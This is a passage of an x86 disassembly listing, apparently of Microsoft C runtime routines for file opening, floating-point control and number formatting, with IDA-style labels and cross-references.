0C0000000h jmp short loc_41FF50 ; --------------------------------------------------------------------------- loc_41FF40: ; CODE XREF: sub_41FEC6+57j mov [ebp+var_C], 40000000h jmp short loc_41FF50 ; --------------------------------------------------------------------------- loc_41FF49: ; CODE XREF: sub_41FEC6+54j mov [ebp+var_C], 80000000h loc_41FF50: ; CODE XREF: sub_41FEC6+78j ; sub_41FEC6+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41FF7E cmp eax, 20h jz short loc_41FF75 cmp eax, 30h jz short loc_41FF6C cmp eax, 40h jnz short loc_41FF22 mov [ebp+var_10], esi jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF6C: ; CODE XREF: sub_41FEC6+9Aj mov [ebp+var_10], 2 jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF75: ; CODE XREF: sub_41FEC6+95j mov [ebp+var_10], 1 jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF7E: ; CODE XREF: sub_41FEC6+90j mov [ebp+var_10], ebx loc_41FF81: ; CODE XREF: sub_41FEC6+A4j ; sub_41FEC6+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41FFCB jz short loc_41FFC6 cmp ecx, ebx jz short loc_41FFC6 cmp ecx, edi jz short loc_41FFBD cmp ecx, 200h jz short loc_41FFE4 cmp ecx, 300h jnz loc_41FF22 mov [ebp+var_8], 2 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFBD: ; CODE XREF: sub_41FEC6+D8j mov [ebp+var_8], 4 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFC6: ; CODE XREF: sub_41FEC6+D0j ; sub_41FEC6+D4j mov [ebp+var_8], esi jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFCB: ; CODE XREF: sub_41FEC6+CEj cmp ecx, 500h jz short loc_41FFED cmp ecx, 600h jz short loc_41FFE4 cmp ecx, edx jz short loc_41FFED jmp loc_41FF22 ; --------------------------------------------------------------------------- loc_41FFE4: ; CODE XREF: sub_41FEC6+E0j ; sub_41FEC6+113j mov [ebp+var_8], 5 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFED: ; CODE XREF: sub_41FEC6+10Bj ; sub_41FEC6+117j mov [ebp+var_8], 1 loc_41FFF4: ; CODE XREF: sub_41FEC6+F5j ; sub_41FEC6+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_420013 mov ecx, dword_4CD9BC not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_420013 push 1 pop esi loc_420013: ; CODE XREF: sub_41FEC6+138j ; sub_41FEC6+148j test al, 40h jz short loc_420021 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_420021: ; CODE XREF: sub_41FEC6+14Fj test ah, 10h jz short loc_420028 or esi, edi loc_420028: ; CODE XREF: sub_41FEC6+15Ej test al, 20h jz short loc_420034 or esi, 8000000h jmp short loc_42003E ; --------------------------------------------------------------------------- loc_420034: ; CODE XREF: sub_41FEC6+164j test al, 10h jz short loc_42003E or esi, 10000000h loc_42003E: ; CODE XREF: sub_41FEC6+16Cj ; sub_41FEC6+170j call sub_41FCAC mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_42005F loc_42004C: ; DATA XREF: ___:00427A84o ; ___:00427A90o and dword_4CD9B8, 0 mov dword_4CD9B4, 18h jmp short loc_42009D ; --------------------------------------------------------------------------- loc_42005F: ; CODE XREF: sub_41FEC6+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 26507E6h mov esi, eax cmp esi, edi jz short loc_420090 push esi nop call near ptr 2600000h test eax, eax jnz short loc_4200A4 push esi nop call near ptr 2631A0Bh loc_420090: ; CODE XREF: sub_41FEC6+1B6j nop call near ptr 2650B3Dh push eax call sub_41EF44 pop ecx loc_42009D: ; CODE XREF: sub_41FEC6+197j mov eax, edi jmp loc_42017A ; --------------------------------------------------------------------------- loc_4200A4: ; CODE XREF: sub_41FEC6+1C1j cmp eax, 2 jnz short loc_4200AF or [ebp+var_1], 40h jmp short loc_4200B8 ; --------------------------------------------------------------------------- loc_4200AF: ; CODE XREF: sub_41FEC6+1E1j cmp eax, 3 jnz short loc_4200B8 or [ebp+var_1], 8 loc_4200B8: ; CODE XREF: sub_41FEC6+1E7j ; sub_41FEC6+1ECj push esi push ebx call sub_41FD41 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4CECE0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_420161 test al, 80h jz short loc_420161 test byte ptr [ebp+arg_4], 2 jz short loc_420161 push 2 push 0FFFFFFFFh push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_420116 cmp dword_4CD9B8, 83h jz short loc_420161 jmp short loc_420155 ; --------------------------------------------------------------------------- loc_420116: ; CODE XREF: sub_41FEC6+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41E321 add esp, 0Ch test eax, eax jnz short loc_420143 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_420143 push [ebp+var_10] push ebx call sub_4211F1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_420155 loc_420143: ; CODE XREF: sub_41FEC6+265j ; sub_41FEC6+26Bj push 0 push 0 push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_420161 loc_420155: ; CODE XREF: sub_41FEC6+24Ej ; sub_41FEC6+27Bj push ebx call sub_41A6B7 pop ecx loc_42015C: ; CODE XREF: sub_41FEC6+6Cj or eax, 0FFFFFFFFh jmp short loc_42017A ; --------------------------------------------------------------------------- loc_420161: ; CODE XREF: sub_41FEC6+221j ; sub_41FEC6+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_420178 test byte ptr [ebp+arg_4], 8 jz short loc_420178 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_420178: ; CODE XREF: sub_41FEC6+29Fj ; sub_41FEC6+2A5j mov eax, ebx loc_42017A: ; CODE XREF: sub_41FEC6+1D9j ; sub_41FEC6+299j pop edi pop esi pop ebx leave retn sub_41FEC6 endp ; =============== S U B R O U T I N E ======================================= sub_42017F proc near ; CODE XREF: sub_41C50A+52p xor eax, eax retn sub_42017F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420182 proc near ; CODE XREF: sub_4201B7+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_4201CD mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42025F pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_420182 endp ; =============== S U B R O U T I N E ======================================= sub_4201B7 proc near ; CODE XREF: sub_41C7F6+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_420182 pop ecx pop ecx retn sub_4201B7 endp ; =============== S U B R O U T I N E ======================================= sub_4201CD proc near ; CODE XREF: sub_420182+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_4201DE push 10h pop eax loc_4201DE: ; CODE XREF: sub_4201CD+Cj test bl, 4 jz short loc_4201E5 or al, 8 loc_4201E5: ; CODE XREF: sub_4201CD+14j test bl, 8 jz short loc_4201EC or al, 4 loc_4201EC: ; CODE XREF: sub_4201CD+1Bj test bl, 10h jz short loc_4201F3 or al, 2 loc_4201F3: ; CODE XREF: sub_4201CD+22j test bl, 20h jz short loc_4201FA or al, 1 loc_4201FA: ; CODE XREF: sub_4201CD+29j test bl, 2 jz short loc_420204 or eax, 80000h loc_420204: ; CODE XREF: sub_4201CD+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_42023C cmp edx, 400h jz short loc_420239 cmp edx, 800h jz short loc_420235 cmp edx, esi jnz short loc_42023C or eax, edi jmp short loc_42023C ; --------------------------------------------------------------------------- loc_420235: ; CODE XREF: sub_4201CD+5Ej or eax, ebp jmp short loc_42023C ; --------------------------------------------------------------------------- loc_420239: ; CODE XREF: sub_4201CD+56j or ah, 1 loc_42023C: ; CODE XREF: sub_4201CD+4Ej ; sub_4201CD+62j ... and ecx, edi pop esi jz short loc_42024C cmp ecx, ebp jnz short loc_420251 or eax, 10000h jmp short loc_420251 ; --------------------------------------------------------------------------- loc_42024C: ; CODE XREF: sub_4201CD+72j or eax, 20000h loc_420251: ; CODE XREF: sub_4201CD+76j ; sub_4201CD+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42025E or eax, 40000h locret_42025E: ; CODE XREF: sub_4201CD+8Aj retn sub_4201CD endp ; =============== S U B R O U T I N E ======================================= sub_42025F proc near ; CODE XREF: sub_420182+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42026F push 1 pop eax loc_42026F: ; CODE XREF: sub_42025F+Bj test bl, 8 jz short loc_420276 or al, 4 loc_420276: ; CODE XREF: sub_42025F+13j test bl, 4 jz short loc_42027D or al, 8 loc_42027D: ; CODE XREF: sub_42025F+1Aj test bl, 2 jz short loc_420284 or al, 10h loc_420284: ; CODE XREF: sub_42025F+21j test bl, 1 jz short loc_42028B or al, 20h loc_42028B: ; CODE XREF: sub_42025F+28j test ebx, 80000h jz short loc_420295 or al, 2 loc_420295: ; CODE XREF: sub_42025F+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_4202C2 cmp ecx, 100h jz short loc_4202BF cmp ecx, esi jz short loc_4202BA cmp ecx, edx jnz short loc_4202C2 or ah, 0Ch jmp short loc_4202C2 ; --------------------------------------------------------------------------- loc_4202BA: ; CODE XREF: sub_42025F+50j or ah, 8 jmp short loc_4202C2 ; --------------------------------------------------------------------------- loc_4202BF: ; CODE XREF: sub_42025F+4Cj or ah, 4 loc_4202C2: ; CODE XREF: sub_42025F+44j ; sub_42025F+54j ... mov ecx, ebx and ecx, 30000h jz short loc_4202D8 cmp ecx, 10000h jnz short loc_4202DA or eax, esi jmp short loc_4202DA ; --------------------------------------------------------------------------- loc_4202D8: ; CODE XREF: sub_42025F+6Bj or eax, edx loc_4202DA: ; CODE XREF: sub_42025F+73j ; sub_42025F+77j pop esi test ebx, 40000h pop ebx jz short locret_4202E7 or ah, 10h locret_4202E7: ; CODE XREF: sub_42025F+83j retn sub_42025F endp ; =============== S U B R O U T I N E ======================================= sub_4202E8 proc near ; CODE XREF: sub_420387+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_42032D inc esi cmp esi, 3 jge short loc_420328 lea eax, [eax+esi*4] loc_42031A: ; CODE XREF: sub_4202E8+3Ej cmp dword ptr [eax], 0 jnz short loc_42032D inc esi add eax, 4 cmp esi, 3 jl short loc_42031A loc_420328: ; CODE XREF: sub_4202E8+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_42032D: ; CODE XREF: sub_4202E8+27j ; sub_4202E8+35j xor eax, eax pop esi retn sub_4202E8 endp ; =============== S U B R O U T I N E ======================================= sub_420331 proc near ; CODE XREF: sub_420387+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_421337 add esp, 0Ch dec esi js short loc_420383 lea edi, [ebx+esi*4] loc_42036A: ; CODE XREF: sub_420331+50j test eax, eax jz short loc_420383 push edi push 1 push dword ptr [edi] call sub_421337 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_42036A loc_420383: ; CODE XREF: sub_420331+34j ; sub_420331+3Bj pop edi pop esi pop ebx retn sub_420331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420387 proc near ; CODE XREF: sub_4204E2+81p ; sub_4204E2+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_4203EB inc ebx push ebx push [ebp+arg_0] call sub_4202E8 pop ecx test eax, eax pop ecx jnz short loc_4203E8 push edi push [ebp+arg_0] call sub_420331 pop ecx mov [ebp+var_4], eax pop ecx loc_4203E8: ; CODE XREF: sub_420387+51j mov eax, [ebp+arg_4] loc_4203EB: ; CODE XREF: sub_420387+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_42040B mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_42040B: ; CODE XREF: sub_420387+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_420387 endp ; =============== S U B R O U T I N E ======================================= sub_420413 proc near ; CODE XREF: sub_4204E2+75p ; sub_4204E2+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_420421: ; CODE XREF: sub_420413+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_420421 pop esi retn sub_420413 endp ; =============== S U B R O U T I N E ======================================= sub_42042E proc near ; CODE XREF: sub_4204E2+5Fp ; sub_4204E2+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_42042E endp ; =============== S U B R O U T I N E ======================================= sub_42043A proc near ; CODE XREF: sub_4204E2+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_420440: ; CODE XREF: sub_42043A+12j cmp dword ptr [eax], 0 jnz short loc_420452 inc ecx add eax, 4 cmp ecx, 3 jl short loc_420440 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_420452: ; CODE XREF: sub_42043A+9j xor eax, eax retn sub_42043A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420455 proc near ; CODE XREF: sub_4204E2+C0p ; sub_4204E2+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_42048B: ; CODE XREF: sub_420455+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_42048B mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_4204BD: ; CODE XREF: sub_420455+86j cmp ebx, edi jl short loc_4204D0 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_4204D7 ; --------------------------------------------------------------------------- loc_4204D0: ; CODE XREF: sub_420455+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_4204D7: ; CODE XREF: sub_420455+79j dec ebx sub ecx, 4 jns short loc_4204BD pop edi pop esi pop ebx leave retn sub_420455 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4204E2 proc near ; CODE XREF: sub_42064E+Dp ; sub_420664+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_42054F lea eax, [ebp+var_C] xor esi, esi push eax call sub_42043A test eax, eax pop ecx jnz loc_42060E lea eax, [ebp+var_C] push eax call sub_42042E pop ecx loc_420547: ; CODE XREF: sub_4204E2+E4j push 2 loc_420549: ; CODE XREF: sub_4204E2+110j pop eax jmp loc_420610 ; --------------------------------------------------------------------------- loc_42054F: ; CODE XREF: sub_4204E2+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_420413 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_420387 add esp, 10h test eax, eax jz short loc_420570 inc ebx loc_420570: ; CODE XREF: sub_4204E2+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_420588 lea eax, [ebp+var_C] push eax call sub_42042E pop ecx jmp short loc_4205C4 ; --------------------------------------------------------------------------- loc_420588: ; CODE XREF: sub_4204E2+98j cmp ebx, eax jg short loc_4205CB sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_420413 lea eax, [ebp+var_C] push esi push eax call sub_420455 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_420387 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_420455 add esp, 20h loc_4205C4: ; CODE XREF: sub_4204E2+A4j xor esi, esi jmp loc_420547 ; --------------------------------------------------------------------------- loc_4205CB: ; CODE XREF: sub_4204E2+A8j cmp ebx, [edi] jl short loc_4205F7 lea eax, [ebp+var_C] push eax call sub_42042E push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_420455 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_420549 ; --------------------------------------------------------------------------- loc_4205F7: ; CODE XREF: sub_4204E2+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_420455 pop ecx pop ecx loc_42060E: ; CODE XREF: sub_4204E2+55j xor eax, eax loc_420610: ; CODE XREF: sub_4204E2+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_42063F mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_420649 ; --------------------------------------------------------------------------- loc_42063F: ; CODE XREF: sub_4204E2+14Ej cmp edi, 20h jnz short loc_420649 mov ecx, [ebp+arg_4] mov [ecx], esi loc_420649: ; CODE XREF: sub_4204E2+15Bj ; sub_4204E2+160j pop edi pop esi pop ebx leave retn sub_4204E2 endp ; =============== S U B R O U T I N E ======================================= sub_42064E proc near ; CODE XREF: sub_42067A+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_436610 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4204E2 add esp, 0Ch retn sub_42064E endp ; =============== S U B R O U T I N E ======================================= sub_420664 proc near ; CODE XREF: sub_4206A7+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_436628 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4204E2 add esp, 0Ch retn sub_420664 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42067A proc near ; CODE XREF: sub_41C92F+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4214D8 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_42064E add esp, 24h leave retn sub_42067A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206A7 proc near ; CODE XREF: sub_41C92F+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4214D8 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_420664 add esp, 24h leave retn sub_4206A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206D4 proc near ; CODE XREF: sub_41C96D+65p ; sub_41CA71+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_420711 mov [ebp+arg_0], ebx xor ebx, ebx loc_4206F7: ; CODE XREF: sub_4206D4+38j mov dl, [ecx] test dl, dl jz short loc_420703 movsx edx, dl inc ecx jmp short loc_420706 ; --------------------------------------------------------------------------- loc_420703: ; CODE XREF: sub_4206D4+27j push 30h pop edx loc_420706: ; CODE XREF: sub_4206D4+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_4206F7 mov edx, [ebp+arg_8] loc_420711: ; CODE XREF: sub_4206D4+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_42072A cmp byte ptr [ecx], 35h jl short loc_42072A loc_42071D: ; CODE XREF: sub_4206D4+52j dec eax cmp byte ptr [eax], 39h jnz short loc_420728 mov byte ptr [eax], 30h jmp short loc_42071D ; --------------------------------------------------------------------------- loc_420728: ; CODE XREF: sub_4206D4+4Dj inc byte ptr [eax] loc_42072A: ; CODE XREF: sub_4206D4+42j ; sub_4206D4+47j cmp byte ptr [esi], 31h jnz short loc_420734 inc dword ptr [edx+4] jmp short loc_420746 ; --------------------------------------------------------------------------- loc_420734: ; CODE XREF: sub_4206D4+59j push edi call sub_417AB0 inc eax push eax push edi push esi call sub_4182C0 add esp, 10h loc_420746: ; CODE XREF: sub_4206D4+5Ej pop edi pop esi pop ebx pop ebp retn sub_4206D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42074B proc near ; CODE XREF: sub_41C96D+3Fp ; sub_41CA71+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_4207AF pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4CDB88 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4219A9 mov dword_4CDBB0, eax add esp, 18h movsx eax, byte_4CDB8A mov dword_4CDBA8, eax pop edi movsx eax, word_4CDB88 mov dword_4CDBAC, eax mov dword_4CDBB4, offset dword_4CDB8C mov eax, offset dword_4CDBA8 pop esi leave retn sub_42074B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4207AF proc near ; CODE XREF: sub_42074B+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_4207FD cmp ebx, edi jz short loc_4207F6 lea edi, [ecx+3C00h] jmp short loc_42081E ; --------------------------------------------------------------------------- loc_4207F6: ; CODE XREF: sub_4207AF+3Dj mov edi, 7FFFh jmp short loc_42081E ; --------------------------------------------------------------------------- loc_4207FD: ; CODE XREF: sub_4207AF+39j xor ebx, ebx cmp eax, ebx jnz short loc_420815 cmp edx, ebx jnz short loc_420815 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_420860 ; --------------------------------------------------------------------------- loc_420815: ; CODE XREF: sub_4207AF+52j ; sub_4207AF+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_42081E: ; CODE XREF: sub_4207AF+45j ; sub_4207AF+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_420836: ; CODE XREF: sub_4207AF+A6j test ecx, esi jnz short loc_420857 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_420836 ; --------------------------------------------------------------------------- loc_420857: ; CODE XREF: sub_4207AF+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_420860: ; CODE XREF: sub_4207AF+64j pop edi pop esi pop ebx leave retn sub_4207AF endp ; --------------------------------------------------------------------------- push 2 call sub_419CDA pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42086E proc near ; DATA XREF: ___:00435FE8o ; ___:00436AB0o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_420891 cmp dword ptr [eax+10h], 3 jnz short loc_420891 cmp dword ptr [eax+14h], 19930520h jnz short loc_420891 jmp sub_41D4FC ; --------------------------------------------------------------------------- loc_420891: ; CODE XREF: sub_42086E+Dj ; sub_42086E+13j ... mov eax, dword_4CDBB8 test eax, eax jz short loc_4208AE push eax call sub_42090A test eax, eax pop ecx jz short loc_4208AE push esi call dword_4CDBB8 jmp short loc_4208B0 ; --------------------------------------------------------------------------- loc_4208AE: ; CODE XREF: sub_42086E+2Aj ; sub_42086E+35j xor eax, eax loc_4208B0: ; CODE XREF: sub_42086E+3Ej pop esi retn 4 sub_42086E endp ; --------------------------------------------------------------------------- dword_4208B4 dd 42086E68h, 650E800h, 0A390021Bh, 4CDBB8h, 0B835FFC3h ; DATA XREF: ___:00426024o dd 90004CDBh, 1B063DE8h ; --------------------------------------------------------------------------- add al, bl ; =============== S U B R O U T I N E ======================================= sub_4208D2 proc near ; CODE XREF: sub_41CD45+6Bp ; sub_41D256+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 25D0A02h test eax, eax jz short loc_4208EA xor esi, esi loc_4208EA: ; CODE XREF: sub_4208D2+14j mov eax, esi pop esi retn sub_4208D2 endp ; =============== S U B R O U T I N E ======================================= sub_4208EE proc near ; CODE XREF: sub_41D256+73p ; sub_41D256+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 28509D2h test eax, eax jz short loc_420906 xor esi, esi loc_420906: ; CODE XREF: sub_4208EE+14j mov eax, esi pop esi retn sub_4208EE endp ; =============== S U B R O U T I N E ======================================= sub_42090A proc near ; CODE XREF: sub_41D256+15Bp ; sub_42086E+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 25D0972h test eax, eax jz short loc_42091E xor esi, esi loc_42091E: ; CODE XREF: sub_42090A+10j mov eax, esi pop esi retn sub_42090A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D4FC loc_420922: ; CODE XREF: sub_41D4FC:loc_41D54Dj push 0Ah call sub_41F885 push 16h call sub_421C3C pop ecx pop ecx push 3 call sub_419AF6 ; END OF FUNCTION CHUNK FOR sub_41D4FC ; =============== S U B R O U T I N E ======================================= 